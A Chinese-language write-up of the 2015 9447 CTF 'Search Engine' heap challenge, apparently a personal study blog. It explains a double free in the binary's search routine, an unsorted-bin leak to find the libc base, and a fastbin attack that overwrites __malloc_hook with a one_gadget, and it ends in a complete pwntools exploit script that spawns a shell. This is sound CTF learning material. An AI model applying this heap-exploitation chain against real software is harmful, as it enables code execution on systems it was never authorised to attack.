2015 9447 CTF Search Engine

2015 9447 CTF : Search Engine]

前言

題目下載
於我來說難度不小,但是克服下來收穫還是很多的。原文鏈接,在做這題的過程中確實用到了之前沒看懂的部分,很多細節需要自己去實現一下才能搞明白,比如字節錯位這樣的…
整體利用了double free,泄露unsoredbin地址,任意地址分配。

分析

漏洞點:

在search裏僅僅free了,沒有設爲null,可以再次free

1560308312264

可以進入search的條件,僅僅是fd的位置不爲null (我這裏idb損壞了,但是可以通過逆向自行標註結構。

1560308474858

利用思路:

  1. 申請一個符合Unsort bin大小的塊在釋放後會迴歸到Unsort bin,之後fd和bk會成爲unsortedbin的地址,可以進行泄露。
  2. 利用fastbin的double free,進行任意地址分配然後寫,修改malloc hook

調試過程

unsortedbin地址泄露

申請一個符合Unsort bin大小的塊在釋放後會迴歸到Unsort bin

1560258998623

mem的開頭兩個位置 FD和BK 由於unsort bin裏只有它一個堆塊,又是雙鏈表結構,所以都指向unsort bin本身。至此我們可以泄露unsort bin的地址。leak函數如下。通過分析程序功能知道,在存儲單詞時,每個單詞都會有自己的長度與在堆裏的地址對應。

結構體如下,頂部先是申請一個我們可控大小的堆來存放完整句子。底下再用0x30大小的堆來存放每個單詞,其中FD的位置爲單詞在完整句子裏的地址,BK的位置爲單詞在完整句子裏的長度。然後緊跟着的是句子的地址與句子的長度。

1560309898083

在delete時候,僅僅刪除句子內容,不改變底下結構體。所以我們可以搜索\x00來繼續查詢泄露Unsortedbin地址

1560310155787

def Search(word):
	p.recvuntil('3: Quit\n',timeout=3)
	p.sendline('1')
	p.recvuntil('Enter the word size:\n')
	p.sendline(str(len(word)))
	p.recvuntil('Enter the word:\n')
	p.send(word)


def Index(word):
	p.recvuntil('3: Quit\n',timeout=3)
	p.sendline('2')
	p.recvuntil('Enter the sentence size:\n')
	p.sendline(str(len(word)))
	p.recvuntil('Enter the sentence:\n')
	p.send(word)

def leak():
	Index('a'*0x86+' m ')
	Search('m')
	p.recvuntil('Delete this sentence (y/n)?\n')
	p.sendline('y')
	#gdb.attach(p,'b *0x400b1f')
	Search('\x00')
	p.recvuntil('Found 137: ')
	unsortbin_addr = u64(p.recv(8))
	p.recvuntil('Delete this sentence (y/n)?\n')
	p.sendline('n')
	log.info("success unsort bin addr: "+hex(unsortbin_addr))
	return unsortbin_addr

doublefree

這裏的理解比較簡單

首先申請大小相同的 a b c三塊,然後依次釋放 c b a(因爲搜索的順序跟添加順序相反)。此時fast bin裏 a->b->c->null,然後再次釋放b就會導致 b->a->b->a…

這裏注意的就是 在再次釋放b的時候,因爲c的fd指向null所以不進入搜索,b第一個進入搜索,所以只再次釋放第一個結果,其餘的都不再釋放。

這裏已經完成doublefree

1560263910164

# free c b a (fastbin) a->b->c->null
Index('a'*0x5d+' d ')
Index('b'*0x5d+' d ')
Index('c'*0x5d+' d ')
Search('d')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
# fastbin a->b->a->b...double free
Search('\x00')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')

任意地址alloc

一種方法是直接修改函數的hook,如malloc的hook。

通過我們泄露出來的unsorted bin地址,減去unsorted bin在main arena裏的偏移可以計算得到main_arena的地址。利用libc裏的main_arena的偏移可以得到libcbase。這裏libc裏main_arena偏移在malloc_trim函數裏找到

1560301586227

找到Libcbase之後,利用one_gadget工具可以在libc裏找到 excve(’/bin/sh’)的偏移。這樣就不需要控制參數了,十分方便。之後便是對malloc_hook的控制

1560310645607

log.info('unsortedbin addr: '+hex(unsortedbin_addr))
unsortedbin_offset_main_arena = offset_bin_main_arena(0) 
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
libc_base = main_arena_addr - main_arena_offset
log.info('libc_base addr: '+hex(libc_base))

在malloc的時候,不會檢查地址的對齊,只會檢查size的大小是否符合。這裏之所以構造我們的堆塊大小爲0x60這是因爲(0x60+8)對齊16大小爲0x70在fastbin[5]裏,而0x7f剛好也對應着fastbin[5]。64位計算方法爲 0x7f>>4 -2。而在main_arenahook處,很多地址都以0x7f開頭,可以利用字節錯位來構造假的size

比如使用這裏的7f爲size

1560311111396

比較好看的方法是改成一個字節一個字節看,因爲小端序,所以我們應該把0x7f放到size位的低地址處。即放到這裏,所以地址減3即可

1560311441942

1560311470681

這樣就構造完成了,剩下的只是一些padding,只要讓我們的one_gadget填充到malloc hook即可。地址的選擇有很多

總的payload

from pwn import *
from LibcSearcher import LibcSearcher
filename = 'search'
elf = ELF('./'+filename)
context.binary = filename
context.log_level = 'debug'
#p = remote('localhost',4000)
p = process('./'+filename)
#------------------------------initialize-------------------------------------------------- 

def Search(word):
	p.recvuntil('3: Quit\n',timeout=3)
	p.sendline('1')
	p.recvuntil('Enter the word size:\n')
	p.sendline(str(len(word)))
	p.recvuntil('Enter the word:\n')
	p.send(word)


def Index(word):
	p.recvuntil('3: Quit\n',timeout=3)
	p.sendline('2')
	p.recvuntil('Enter the sentence size:\n')
	p.sendline(str(len(word)))
	p.recvuntil('Enter the sentence:\n')
	p.send(word)

def leak():
	Index('a'*0x86+' m ')
	Search('m')
	p.recvuntil('Delete this sentence (y/n)?\n')
	p.sendline('y')
	#gdb.attach(p,'b *0x400b1f')
	Search('\x00')
	p.recvuntil('Found 137: ')
	unsortbin_addr = u64(p.recv(8))
	p.recvuntil('Delete this sentence (y/n)?\n')
	p.sendline('n')
	log.info("success unsort bin addr: "+hex(unsortbin_addr))
	return unsortbin_addr

def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset 

main_arena_offset = 0x3c4b20
#gdb.attach(p,"b *0x400b46")    	
unsortedbin_addr = leak()
log.info('unsortedbin addr: '+hex(unsortedbin_addr))
unsortedbin_offset_main_arena = offset_bin_main_arena(0) 
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
libc_base = main_arena_addr - main_arena_offset
log.info('libc_base addr: '+hex(libc_base))


# free c b a (fastbin) a->b->c->null
Index('a'*0x5d+' d ')
Index('b'*0x5d+' d ')
Index('c'*0x5d+' d ')
Search('d')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
# fastbin a->b->a->b...double free
Search('\x00')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')


  
fake_chunk_addr = main_arena_addr - 35
fake_chunk = p64(fake_chunk_addr).ljust(0x60, 'f')
one_gadget_addr = 0x4526a + libc_base
gdb.attach(p,'b *0x400c00')
Index(fake_chunk)
Index('a'*0x60)
Index('a'*0x60)
payload = 'a'*3
payload += p64(one_gadget_addr)
payload = payload.ljust(0x60, 'f')
Index(payload)


p.interactive()

總結

該題收穫了許多,Unsortedbin地址泄露來計算libc基址,one_gadget的使用,關於FASTBIN的攻擊。但是在面對題目的時候明顯感覺到,首先要逆向出題目的功能甚至細節,這樣才能找到漏洞並想到如何利用。

明日計劃

  1. 複習大物
  2. 繼續練習heap攻擊方式
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章